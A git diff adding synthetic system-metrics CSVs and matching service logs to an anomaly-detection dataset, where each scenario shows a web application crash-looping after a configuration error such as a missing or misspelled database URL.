web-application.service: Failed with result 'exit-code'. +Aug 15 10:05:25 systemd[1]: web-application.service: Service RestartSec=5s expired, scheduling restart. +Aug 15 10:05:30 systemd[1]: Starting web-application.service... +Aug 15 10:05:30 web-app[2745]: INFO Starting application v1.3.2 +Aug 15 10:05:35 web-app[2745]: ERROR Invalid configuration file: /etc/app/config.yaml +Aug 15 10:05:35 web-app[2745]: FATAL Missing required key 'database_url'. Application startup failed. +Aug 15 10:05:40 systemd[1]: web-application.service: Main process exited, code=exited, status=1/FAILURE +Aug 15 10:05:45 systemd[1]: web-application.service: Failed with result 'exit-code'. +Aug 15 10:05:55 systemd[1]: web-application.service: Service RestartSec=5s expired, scheduling restart. +Aug 15 10:06:00 systemd[1]: Starting web-application.service... +Aug 15 10:06:00 web-app[2745]: INFO Starting application v1.3.2 +Aug 15 10:06:05 web-app[2745]: ERROR Invalid configuration file: /etc/app/config.yaml +Aug 15 10:06:05 web-app[2745]: FATAL Missing required key 'database_url'. Application startup failed. +Aug 15 10:06:10 systemd[1]: web-application.service: Main process exited, code=exited, status=1/FAILURE +Aug 15 10:06:15 systemd[1]: web-application.service: Failed with result 'exit-code'. +Aug 15 10:06:25 systemd[1]: web-application.service: Service RestartSec=5s expired, scheduling restart. +Aug 15 10:06:30 systemd[1]: Starting web-application.service... +Aug 15 10:06:30 web-app[2745]: INFO Starting application v1.3.2 +Aug 15 10:06:35 web-app[2745]: ERROR Invalid configuration file: /etc/app/config.yaml +Aug 15 10:06:35 web-app[2745]: FATAL Missing required key 'database_url'. Application startup failed. +Aug 15 10:06:40 systemd[1]: web-application.service: Main process exited, code=exited, status=1/FAILURE +Aug 15 10:06:45 systemd[1]: web-application.service: Failed with result 'exit-code'. +Aug 15 10:06:55 systemd[1]: web-application.service: Service RestartSec=5s expired, scheduling restart. +Aug 15 10:07:00 systemd[1]: Starting web-application.service... +Aug 15 10:07:00 web-app[2745]: INFO Starting application v1.3.2 +Aug 15 10:07:05 web-app[2745]: ERROR Invalid configuration file: /etc/app/config.yaml +Aug 15 10:07:05 web-app[2745]: FATAL Missing required key 'database_url'. Application startup failed. +Aug 15 10:07:10 systemd[1]: web-application.service: Main process exited, code=exited, status=1/FAILURE +Aug 15 10:07:15 systemd[1]: web-application.service: Failed with result 'exit-code'. +Aug 15 10:07:25 systemd[1]: web-application.service: Service RestartSec=5s expired, scheduling restart. diff --git a/anom_dataset/scenario_14/anom_14_16.csv b/anom_dataset/scenario_14/anom_14_16.csv new file mode 100644 index 0000000000000000000000000000000000000000..9b57cbedb30f4b2ac827110ed5287c25e9c8a2d1 --- /dev/null +++ b/anom_dataset/scenario_14/anom_14_16.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-14T10:00:00Z,15.14,42.73,37.41,0.81,0.89 +2025-08-14T10:00:05Z,19.58,40.13,26.37,1.18,0.83 +2025-08-14T10:00:10Z,18.06,38.42,30.78,0.8,1.1 +2025-08-14T10:00:15Z,12.1,44.33,27.48,1.33,1.16 +2025-08-14T10:00:20Z,18.7,36.1,26.0,1.13,1.1 +2025-08-14T10:00:25Z,12.58,42.01,33.14,0.93,0.89 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+2025-08-14T10:07:15Z,1.68,5.41,6.08,0.0,0.0 +2025-08-14T10:07:20Z,83.52,61.43,59.66,0.21,0.38 +2025-08-14T10:07:25Z,71.01,74.13,57.41,0.28,0.14 diff --git a/anom_dataset/scenario_14/anom_14_16.log b/anom_dataset/scenario_14/anom_14_16.log new file mode 100644 index 0000000000000000000000000000000000000000..b6a08342e77282175909e4bf82c3827064353fbc --- /dev/null +++ b/anom_dataset/scenario_14/anom_14_16.log @@ -0,0 +1,43 @@ +Aug 14 10:00:00 systemd[1]: Starting daily clean up activities... +Aug 14 10:00:15 web-app[1356]: INFO GET /api/v1/user/12 status=200 OK +Aug 14 10:00:40 web-app[1356]: INFO GET /api/v1/products status=200 OK +Aug 14 10:01:15 web-app[1356]: INFO POST /api/v1/login status=200 OK +Aug 14 10:01:40 CRON[4521]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 14 10:02:05 web-app[1356]: INFO GET /api/v1/user/45 status=200 OK +Aug 14 10:02:30 systemd[1]: Reloading web-app.service... +Aug 14 10:02:35 web-app[1480]: FATAL Invalid configuration file /etc/webapp/config.yaml: unknown key 'dabtabase.url' on line 42. Did you mean 'database.url'? +Aug 14 10:02:40 web-app[1480]: ERROR Application startup failed due to configuration error. +Aug 14 10:03:10 web-app[1480]: ERROR [DBConnection] Failed to connect to primary database: connection refused +Aug 14 10:03:45 web-app[1480]: WARN Service 'payment-gateway' is unreachable. +Aug 14 10:04:20 web-app[1480]: ERROR [DBConnection] Failed to connect to primary database: connection refused +Aug 14 10:04:55 web-app[1480]: CRITICAL Application is in a degraded state. Core functionalities may be unavailable. +Aug 14 10:05:00 systemd[1]: web-app.service: Failed with result 'exit-code'. +Aug 14 10:05:00 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Aug 14 10:05:05 systemd[1]: web-app.service: Scheduled restart job, restart counter is at 1. +Aug 14 10:05:10 systemd[1]: Stopped web-app.service. +Aug 14 10:05:15 systemd[1]: Starting web-app.service... +Aug 14 10:05:20 web-app[1557]: FATAL Invalid configuration file /etc/webapp/config.yaml: unknown key 'dabtabase.url' on line 42. Did you mean 'database.url'? +Aug 14 10:05:25 web-app[1557]: ERROR Application startup failed due to configuration error. +Aug 14 10:05:35 systemd[1]: web-app.service: Failed with result 'exit-code'. +Aug 14 10:05:35 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Aug 14 10:05:40 systemd[1]: web-app.service: Scheduled restart job, restart counter is at 2. +Aug 14 10:05:45 systemd[1]: Stopped web-app.service. +Aug 14 10:05:50 systemd[1]: Starting web-app.service... +Aug 14 10:05:55 web-app[1621]: FATAL Invalid configuration file /etc/webapp/config.yaml: unknown key 'dabtabase.url' on line 42. Did you mean 'database.url'? +Aug 14 10:06:00 web-app[1621]: ERROR Application startup failed due to configuration error. +Aug 14 10:06:10 systemd[1]: web-app.service: Failed with result 'exit-code'. +Aug 14 10:06:10 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Aug 14 10:06:15 systemd[1]: web-app.service: Scheduled restart job, restart counter is at 3. +Aug 14 10:06:20 systemd[1]: Stopped web-app.service. +Aug 14 10:06:25 systemd[1]: Starting web-app.service... +Aug 14 10:06:30 web-app[1703]: FATAL Invalid configuration file /etc/webapp/config.yaml: unknown key 'dabtabase.url' on line 42. Did you mean 'database.url'? +Aug 14 10:06:35 web-app[1703]: ERROR Application startup failed due to configuration error. +Aug 14 10:06:45 systemd[1]: web-app.service: Failed with result 'exit-code'. +Aug 14 10:06:45 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Aug 14 10:06:50 systemd[1]: web-app.service: Scheduled restart job, restart counter is at 4. +Aug 14 10:06:55 systemd[1]: Stopped web-app.service. +Aug 14 10:07:00 systemd[1]: Starting web-app.service... +Aug 14 10:07:05 web-app[1800]: FATAL Invalid configuration file /etc/webapp/config.yaml: unknown key 'dabtabase.url' on line 42. Did you mean 'database.url'? +Aug 14 10:07:10 web-app[1800]: ERROR Application startup failed due to configuration error. +Aug 14 10:07:20 systemd[1]: web-app.service: Failed with result 'exit-code'. +Aug 14 10:07:20 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE diff --git a/anom_dataset/scenario_14/anom_14_17.csv b/anom_dataset/scenario_14/anom_14_17.csv new file mode 100644 index 0000000000000000000000000000000000000000..f3cb050d8c8b5f5b03fe38105340f6f802a42357 --- /dev/null +++ b/anom_dataset/scenario_14/anom_14_17.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-14T10:00:00Z,15.36,38.15,22.59,1.24,1.08 +2025-07-14T10:00:05Z,11.59,37.35,34.09,1.36,1.23 +2025-07-14T10:00:10Z,14.78,40.46,37.27,0.86,0.87 +2025-07-14T10:00:15Z,12.11,38.60,35.88,1.32,1.07 +2025-07-14T10:00:20Z,18.13,41.41,25.69,1.11,0.75 +2025-07-14T10:00:25Z,17.54,40.80,33.97,1.37,0.99 +2025-07-14T10:00:30Z,18.57,37.98,38.72,1.29,0.86 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+2025-07-14T10:07:15Z,97.06,84.77,65.74,1.00,0.22 +2025-07-14T10:07:20Z,90.05,78.64,67.18,0.75,0.33 +2025-07-14T10:07:25Z,88.52,70.37,78.66,1.20,0.30 diff --git a/anom_dataset/scenario_14/anom_14_17.log b/anom_dataset/scenario_14/anom_14_17.log new file mode 100644 index 0000000000000000000000000000000000000000..b0e6b79d5cd8be5d9beb2a96415cc7a39f4dcce4 --- /dev/null +++ b/anom_dataset/scenario_14/anom_14_17.log @@ -0,0 +1,94 @@ +Jul 14 10:00:11 CRON[4567]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 14 10:00:17 web-app[3456]: GET /api/v1/user/health status=200 OK +Jul 14 10:00:25 web-app[3456]: GET /api/v1/user/health status=200 OK +Jul 14 10:00:30 web-app[3456]: GET /api/v1/user/health status=200 OK +Jul 14 10:00:35 CRON[4567]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 14 10:00:46 web-app[3456]: GET /api/v1/user/health status=200 OK +Jul 14 10:00:59 web-app[3456]: GET /api/v1/user/health status=200 OK +Jul 14 10:01:00 systemd[1]: Stopping web-app.service... +Jul 14 10:01:02 systemd[1]: Started web-app.service. +Jul 14 10:01:03 web-app[7890]: INFO Starting application with config 'v3.1-faulty'... +Jul 14 10:01:04 web-app[7890]: ERROR Invalid configuration: Unable to resolve database host 'db-prod-wrong.internal'. +Jul 14 10:01:04 web-app[7890]: WARN Application started but database connection is unavailable. Functionality will be degraded. +Jul 14 10:01:09 web-app[7890]: ERROR ConnectionRefusedError: Failed to connect to database for request /api/v1/data. +Jul 14 10:01:13 web-app[7890]: ERROR ConnectionRefusedError: Failed to connect to database for request /api/v1/data. +Jul 14 10:01:16 web-app[7890]: ERROR ConnectionRefusedError: Failed to connect to database for request /api/v1/data. +Jul 14 10:01:20 web-app[7890]: ERROR ConnectionRefusedError: Failed to connect to database for request /api/v1/data. +Jul 14 10:01:26 web-app[7890]: ERROR ConnectionRefusedError: Failed to connect to database for request /api/v1/data. +Jul 14 10:01:30 web-app[7890]: ERROR ConnectionRefusedError: Failed to connect to database for request /api/v1/data. +Jul 14 10:01:33 web-app[7890]: ERROR ConnectionRefusedError: Failed to connect to database for request /api/v1/data. +Jul 14 10:01:37 web-app[7890]: ERROR ConnectionRefusedError: Failed to connect to database for request /api/v1/data. +Jul 14 10:01:43 web-app[7890]: ERROR ConnectionRefusedError: Failed to connect to database for request /api/v1/data. +Jul 14 10:01:46 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 14 10:01:50 web-app[7890]: ERROR ConnectionRefusedError: Failed to connect to database for request /api/v1/data. +Jul 14 10:01:55 web-app[7890]: ERROR ConnectionRefusedError: Failed to connect to database for request /api/v1/data. +Jul 14 10:01:59 web-app[7890]: ERROR ConnectionRefusedError: Failed to connect to database for request /api/v1/data. +Jul 14 10:02:06 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 14 10:02:13 web-app[7890]: ERROR ConnectionRefusedError: Failed to connect to database for request /api/v1/data. +Jul 14 10:02:17 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 14 10:02:22 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 14 10:02:28 web-app[7890]: ERROR ConnectionRefusedError: Failed to connect to database for request /api/v1/data. +Jul 14 10:02:34 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 14 10:02:38 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 14 10:02:44 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 14 10:02:47 web-app[7890]: ERROR ConnectionRefusedError: Failed to connect to database for request /api/v1/data. +Jul 14 10:02:50 web-app[7890]: ERROR ConnectionRefusedError: Failed to connect to database for request /api/v1/data. +Jul 14 10:02:53 web-app[7890]: ERROR ConnectionRefusedError: Failed to connect to database for request /api/v1/data. +Jul 14 10:02:57 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 14 10:03:01 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 14 10:03:06 web-app[7890]: ERROR ConnectionRefusedError: Failed to connect to database for request /api/v1/data. +Jul 14 10:03:12 web-app[7890]: ERROR ConnectionRefusedError: Failed to connect to database for request /api/v1/data. +Jul 14 10:03:15 web-app[7890]: ERROR ConnectionRefusedError: Failed to connect to database for request /api/v1/data. +Jul 14 10:03:21 web-app[7890]: ERROR ConnectionRefusedError: Failed to connect to database for request /api/v1/data. +Jul 14 10:03:28 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 14 10:03:32 web-app[7890]: ERROR ConnectionRefusedError: Failed to connect to database for request /api/v1/data. +Jul 14 10:03:38 web-app[7890]: ERROR ConnectionRefusedError: Failed to connect to database for request /api/v1/data. +Jul 14 10:03:44 web-app[7890]: ERROR ConnectionRefusedError: Failed to connect to database for request /api/v1/data. +Jul 14 10:03:50 web-app[7890]: ERROR ConnectionRefusedError: Failed to connect to database for request /api/v1/data. +Jul 14 10:03:53 web-app[7890]: ERROR ConnectionRefusedError: Failed to connect to database for request /api/v1/data. +Jul 14 10:03:58 web-app[7890]: ERROR ConnectionRefusedError: Failed to connect to database for request /api/v1/data. +Jul 14 10:04:01 web-app[7890]: ERROR ConnectionRefusedError: Failed to connect to database for request /api/v1/data. +Jul 14 10:04:05 web-app[7890]: ERROR ConnectionRefusedError: Failed to connect to database for request /api/v1/data. +Jul 14 10:04:09 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 14 10:04:15 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 14 10:04:22 web-app[7890]: ERROR ConnectionRefusedError: Failed to connect to database for request /api/v1/data. +Jul 14 10:04:28 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 14 10:04:34 web-app[7890]: ERROR ConnectionRefusedError: Failed to connect to database for request /api/v1/data. +Jul 14 10:04:38 web-app[7890]: ERROR ConnectionRefusedError: Failed to connect to database for request /api/v1/data. +Jul 14 10:04:45 web-app[7890]: ERROR ConnectionRefusedError: Failed to connect to database for request /api/v1/data. +Jul 14 10:04:48 web-app[7890]: ERROR ConnectionRefusedError: Failed to connect to database for request /api/v1/data. +Jul 14 10:04:51 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 14 10:04:54 web-app[7890]: ERROR ConnectionRefusedError: Failed to connect to database for request /api/v1/data. +Jul 14 10:04:58 web-app[7890]: ERROR ConnectionRefusedError: Failed to connect to database for request /api/v1/data. +Jul 14 10:05:02 web-app[7890]: ERROR ConnectionRefusedError: Failed to connect to database for request /api/v1/data. +Jul 14 10:05:09 web-app[7890]: ERROR ConnectionRefusedError: Failed to connect to database for request /api/v1/data. +Jul 14 10:05:16 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 14 10:05:20 web-app[7890]: ERROR ConnectionRefusedError: Failed to connect to database for request /api/v1/data. +Jul 14 10:05:24 web-app[7890]: ERROR ConnectionRefusedError: Failed to connect to database for request /api/v1/data. +Jul 14 10:05:27 web-app[7890]: ERROR ConnectionRefusedError: Failed to connect to database for request /api/v1/data. +Jul 14 10:05:31 web-app[7890]: ERROR ConnectionRefusedError: Failed to connect to database for request /api/v1/data. +Jul 14 10:05:36 web-app[7890]: ERROR ConnectionRefusedError: Failed to connect to database for request /api/v1/data. +Jul 14 10:05:42 web-app[7890]: ERROR ConnectionRefusedError: Failed to connect to database for request /api/v1/data. +Jul 14 10:05:48 web-app[7890]: ERROR ConnectionRefusedError: Failed to connect to database for request /api/v1/data. +Jul 14 10:05:52 web-app[7890]: ERROR ConnectionRefusedError: Failed to connect to database for request /api/v1/data. +Jul 14 10:05:56 web-app[7890]: ERROR ConnectionRefusedError: Failed to connect to database for request /api/v1/data. +Jul 14 10:05:59 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 14 10:06:02 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 14 10:06:05 web-app[7890]: ERROR ConnectionRefusedError: Failed to connect to database for request /api/v1/data. +Jul 14 10:06:09 web-app[7890]: ERROR ConnectionRefusedError: Failed to connect to database for request /api/v1/data. +Jul 14 10:06:13 web-app[7890]: ERROR ConnectionRefusedError: Failed to connect to database for request /api/v1/data. +Jul 14 10:06:19 web-app[7890]: ERROR ConnectionRefusedError: Failed to connect to database for request /api/v1/data. +Jul 14 10:06:22 web-app[7890]: ERROR ConnectionRefusedError: Failed to connect to database for request /api/v1/data. +Jul 14 10:06:28 web-app[7890]: ERROR ConnectionRefusedError: Failed to connect to database for request /api/v1/data. +Jul 14 10:06:31 web-app[7890]: ERROR ConnectionRefusedError: Failed to connect to database for request /api/v1/data. +Jul 14 10:06:37 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 14 10:06:42 web-app[7890]: ERROR ConnectionRefusedError: Failed to connect to database for request /api/v1/data. +Jul 14 10:06:45 web-app[7890]: ERROR ConnectionRefusedError: Failed to connect to database for request /api/v1/data. +Jul 14 10:06:48 web-app[7890]: ERROR ConnectionRefusedError: Failed to connect to database for request /api/v1/data. +Jul 14 10:06:53 web-app[7890]: ERROR ConnectionRefusedError: Failed to connect to database for request /api/v1/data. +Jul 14 10:06:56 web-app[7890]: ERROR ConnectionRefusedError: Failed to connect to database for request /api/v1/data. +Jul 14 10:07:01 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 14 10:07:07 web-app[7890]: ERROR ConnectionRefusedError: Failed to connect to database for request /api/v1/data. +Jul 14 10:07:13 web-app[7890]: ERROR ConnectionRefusedError: Failed to connect to database for request /api/v1/data. +Jul 14 10:07:19 web-app[7890]: ERROR ConnectionRefusedError: Failed to connect to database for request /api/v1/data. +Jul 14 10:07:24 web-app[7890]: ERROR ConnectionRefusedError: Failed to connect to database for request /api/v1/data. diff --git a/anom_dataset/scenario_14/anom_14_18.csv b/anom_dataset/scenario_14/anom_14_18.csv new file mode 100644 index 0000000000000000000000000000000000000000..41318de96dcee0738f6722e62868eebc12774b19 --- /dev/null +++ b/anom_dataset/scenario_14/anom_14_18.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-03T10:00:00Z,12.30053110615388,39.96479520486339,25.319204041535073,1.4379891648494056,0.9408472552356918 +2025-07-03T10:00:05Z,18.007374006808476,41.28304317870318,23.222052282690004,1.0922367483556974,1.1709609391407838 +2025-07-03T10:00:10Z,10.762860351203734,35.36947160425532,37.92378711523138,0.8205262149024355,0.978257055360827 +2025-07-03T10:00:15Z,13.814235021452166,40.92890710146576,23.700929228607265,1.3059915121713557,1.0567242773153551 +2025-07-03T10:00:20Z,15.312242771132897,37.87521812670933,31.752044424896727,1.0399460497127584,1.00328403602671 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+2025-07-03T10:07:05Z,13.02796957361319,40.9435944493564,43.238621572435605,1.3585185023592932,0.8772216375604296 +2025-07-03T10:07:10Z,12.6532051535724,41.09854862586955,31.13831771865009,0.9348516844336373,1.2947463396110008 +2025-07-03T10:07:15Z,18.268027583030236,43.69221340438013,25.555690325414332,1.1849849025142,0.8972921921550809 +2025-07-03T10:07:20Z,13.86364479391321,38.50016718616712,28.075999368494468,1.5573178118900044,1.276536250842998 +2025-07-03T10:07:25Z,14.427052553324987,46.242862253968504,27.872599331643492,1.1388098418303716,1.0505131957168163 diff --git a/anom_dataset/scenario_14/anom_14_18.log b/anom_dataset/scenario_14/anom_14_18.log new file mode 100644 index 0000000000000000000000000000000000000000..7c271e91188a3e7e08dee0c8b59c1d1fd72507f9 --- /dev/null +++ b/anom_dataset/scenario_14/anom_14_18.log @@ -0,0 +1,56 @@ +Jul 03 10:00:05 web-app[3456]: INFO GET /api/v1/health status=200 OK +Jul 03 10:00:30 systemd[1]: Starting daily clean up activities... +Jul 03 10:01:05 web-app[3456]: INFO POST /api/v1/login status=200 OK +Jul 03 10:02:05 web-app[3456]: INFO GET /api/v1/dashboard status=200 OK +Jul 03 10:02:30 web-app[3456]: ERROR FAILED TO START: Invalid configuration setting for 'DATABASE_URL'. Value is empty. +Jul 03 10:02:31 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 03 10:02:32 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 03 10:02:37 systemd[1]: web-app.service: Scheduled restart job, restart counter is at 1. +Jul 03 10:02:40 web-app[3457]: ERROR FAILED TO START: Invalid configuration setting for 'DATABASE_URL'. Value is empty. +Jul 03 10:02:41 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 03 10:02:42 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 03 10:02:47 systemd[1]: web-app.service: Scheduled restart job, restart counter is at 2. +Jul 03 10:03:10 web-app[3457]: ERROR FAILED TO START: Invalid configuration setting for 'DATABASE_URL'. Value is empty. +Jul 03 10:03:11 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 03 10:03:12 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 03 10:03:17 systemd[1]: web-app.service: Scheduled restart job, restart counter is at 2. +Jul 03 10:03:39 web-app[3457]: ERROR FAILED TO START: Invalid configuration setting for 'DATABASE_URL'. Value is empty. +Jul 03 10:03:40 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 03 10:03:41 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 03 10:03:46 systemd[1]: web-app.service: Scheduled restart job, restart counter is at 2. +Jul 03 10:03:54 web-app[3458]: ERROR Exception on /api/v1/data [GET] +Jul 03 10:03:54 web-app[3458]: Traceback (most recent call last): +Jul 03 10:03:54 web-app[3458]: ... +Jul 03 10:03:54 web-app[3458]: ConnectionError: Failed to connect to database. Is the DATABASE_URL correct? +Jul 03 10:04:08 web-app[3457]: ERROR FAILED TO START: Invalid configuration setting for 'DATABASE_URL'. Value is empty. +Jul 03 10:04:09 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 03 10:04:10 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 03 10:04:15 systemd[1]: web-app.service: Scheduled restart job, restart counter is at 2. +Jul 03 10:04:23 web-app[3458]: ERROR Exception on /api/v1/data [GET] +Jul 03 10:04:23 web-app[3458]: Traceback (most recent call last): +Jul 03 10:04:23 web-app[3458]: ... +Jul 03 10:04:23 web-app[3458]: ConnectionError: Failed to connect to database. Is the DATABASE_URL correct? +Jul 03 10:04:40 web-app[3457]: ERROR FAILED TO START: Invalid configuration setting for 'DATABASE_URL'. Value is empty. +Jul 03 10:04:41 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 03 10:04:42 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 03 10:04:47 systemd[1]: web-app.service: Scheduled restart job, restart counter is at 2. +Jul 03 10:04:55 web-app[3458]: ERROR Exception on /api/v1/data [GET] +Jul 03 10:04:55 web-app[3458]: Traceback (most recent call last): +Jul 03 10:04:55 web-app[3458]: ... +Jul 03 10:04:55 web-app[3458]: ConnectionError: Failed to connect to database. Is the DATABASE_URL correct? +Jul 03 10:05:16 web-app[3457]: ERROR FAILED TO START: Invalid configuration setting for 'DATABASE_URL'. Value is empty. +Jul 03 10:05:17 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 03 10:05:18 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 03 10:05:23 systemd[1]: web-app.service: Scheduled restart job, restart counter is at 2. +Jul 03 10:05:31 web-app[3458]: ERROR Exception on /api/v1/data [GET] +Jul 03 10:05:31 web-app[3458]: Traceback (most recent call last): +Jul 03 10:05:31 web-app[3458]: ... +Jul 03 10:05:31 web-app[3458]: ConnectionError: Failed to connect to database. Is the DATABASE_URL correct? +Jul 03 10:05:47 web-app[3457]: ERROR FAILED TO START: Invalid configuration setting for 'DATABASE_URL'. Value is empty. +Jul 03 10:05:48 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 03 10:05:49 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 03 10:05:54 systemd[1]: web-app.service: Scheduled restart job, restart counter is at 2. +Jul 03 10:06:00 systemd[1]: web-app.service: Service hold-off time over, scheduling restart. +Jul 03 10:06:02 root: INFO Corrected configuration for web-app.service, restarting now. +Jul 03 10:06:10 web-app[4123]: INFO Application started successfully. +Jul 03 10:06:25 web-app[4123]: INFO GET /api/v1/health status=200 OK diff --git a/anom_dataset/scenario_14/anom_14_19.csv b/anom_dataset/scenario_14/anom_14_19.csv new file mode 100644 index 0000000000000000000000000000000000000000..cd7d046a4f3410bd9643181a2e67c89e2561cbdc --- /dev/null +++ b/anom_dataset/scenario_14/anom_14_19.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out 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0000000000000000000000000000000000000000..e2beb6746156c2759d03b497657448e6d46e0c19 --- /dev/null +++ b/anom_dataset/scenario_14/anom_14_19.log @@ -0,0 +1,27 @@ +Jul 14 10:00:00 app-server[4567]: INFO Application startup complete. Listening on port 8080. +Jul 14 10:00:05 app-server[4567]: GET /api/v1/health status=200 OK +Jul 14 10:00:15 kubelet[1122]: INFO Liveness probe for pod app-server-xyz succeeded. +Jul 14 10:00:25 app-server[4567]: GET /api/v1/health status=200 OK +Jul 14 10:00:28 config-manager[8899]: INFO New configuration applied. Triggering application restart. +Jul 14 10:00:29 app-server[4567]: INFO Received signal: HUP. Shutting down. +Jul 14 10:00:30 app-server[4588]: INFO Attempting to start application with new configuration... +Jul 14 10:00:50 kubelet[1122]: INFO Liveness probe for pod app-server-xyz failed. +Jul 14 10:01:07 systemd[1]: Starting daily clean up activities... +Jul 14 10:01:30 app-server[4588]: INFO Attempting to start application with new configuration... +Jul 14 10:01:40 kubelet[1122]: INFO Liveness probe for pod app-server-xyz failed. +Jul 14 10:02:12 systemd[1]: Starting daily clean up activities... +Jul 14 10:02:30 app-server[4588]: INFO Attempting to start application with new configuration... +Jul 14 10:02:30 kubelet[1122]: INFO Liveness probe for pod app-server-xyz failed. +Jul 14 10:03:17 systemd[1]: Starting daily clean up activities... +Jul 14 10:03:20 kubelet[1122]: INFO Liveness probe for pod app-server-xyz failed. +Jul 14 10:03:30 app-server[4588]: INFO Attempting to start application with new configuration... +Jul 14 10:04:10 kubelet[1122]: INFO Liveness probe for pod app-server-xyz failed. +Jul 14 10:04:22 systemd[1]: Starting daily clean up activities... +Jul 14 10:04:30 app-server[4588]: INFO Attempting to start application with new configuration... +Jul 14 10:05:00 kubelet[1122]: INFO Liveness probe for pod app-server-xyz failed. +Jul 14 10:05:27 systemd[1]: Starting daily clean up activities... +Jul 14 10:05:30 app-server[4588]: INFO Attempting to start application with new configuration... +Jul 14 10:05:50 kubelet[1122]: INFO Liveness probe for pod app-server-xyz failed. +Jul 14 10:06:30 app-server[4588]: INFO Attempting to start application with new configuration... +Jul 14 10:06:32 systemd[1]: Starting daily clean up activities... +Jul 14 10:06:40 kubelet[1122]: INFO Liveness probe for pod app-server-xyz failed. diff --git a/anom_dataset/scenario_14/anom_14_2.csv b/anom_dataset/scenario_14/anom_14_2.csv new file mode 100644 index 0000000000000000000000000000000000000000..452682b5f895698d20dd1fe0819170c44f3fa7b7 --- /dev/null +++ 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+2025-07-02T11:07:15Z,66.04683027477996,50.25570615369538,3.2913332495726575,0.08918115465879779,0.03788388657983959 +2025-07-02T11:07:20Z,82.14908967766645,52.29705066141682,1.453059348225318,0.031500800229633655,0.05396421481288969 +2025-07-02T11:07:25Z,4.763261739857782,14.233481394027006,2.951809821819496,0.08875524011236802,0.009823817862105101 diff --git a/anom_dataset/scenario_14/anom_14_2.log b/anom_dataset/scenario_14/anom_14_2.log new file mode 100644 index 0000000000000000000000000000000000000000..c68dd2477cdeb3e88834da2df047128ef2bd9bfe --- /dev/null +++ b/anom_dataset/scenario_14/anom_14_2.log @@ -0,0 +1,9 @@ +Jul 02 11:00:10 kernel: audit: type=1400 apparmor="STATUS" operation="profile_load" +Jul 02 11:01:05 nginx[3112]: GET /healthz HTTP/1.1 200 OK +Jul 02 11:02:30 kubelet[2345]: INFO Stopping container 'worker-app' to apply new config. +Jul 02 11:02:35 kubelet[2345]: INFO Starting new container 'worker-app'. +Jul 02 11:02:38 worker-app[10101]: WARN Invalid value for 'server.threadpool.size': '-1'. Must be a positive integer. Using default value '50'. +Jul 02 11:03:15 worker-app[10101]: WARN Task queue is full, rejecting new tasks. Consider increasing thread pool size. +Jul 02 11:03:50 worker-app[10101]: ERROR Health check failed: service is unresponsive. +Jul 02 11:04:35 worker-app[10101]: FATAL Unhandled exception: Thread exhaustion. Shutting down. +Jul 02 11:04:37 kubelet[2345]: WARN Container 'worker-app' crashed. Restarting. diff --git a/anom_dataset/scenario_14/anom_14_20.csv b/anom_dataset/scenario_14/anom_14_20.csv new file mode 100644 index 0000000000000000000000000000000000000000..76edfa9052461ff403d192180519a5ddc4a27790 --- /dev/null +++ b/anom_dataset/scenario_14/anom_14_20.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,10.412152240321518,37.330678669147964,33.02572172721298,1.5254282591056931,0.9634993831804902 +2025-07-02T12:00:05Z,17.977226089007054,35.23604170247026,28.450210301350793,1.205342197485807,0.6821825312362977 +2025-07-02T12:00:10Z,14.75151075689765,32.22645127946201,28.37560768129058,1.0449146758366197,1.2608398505181029 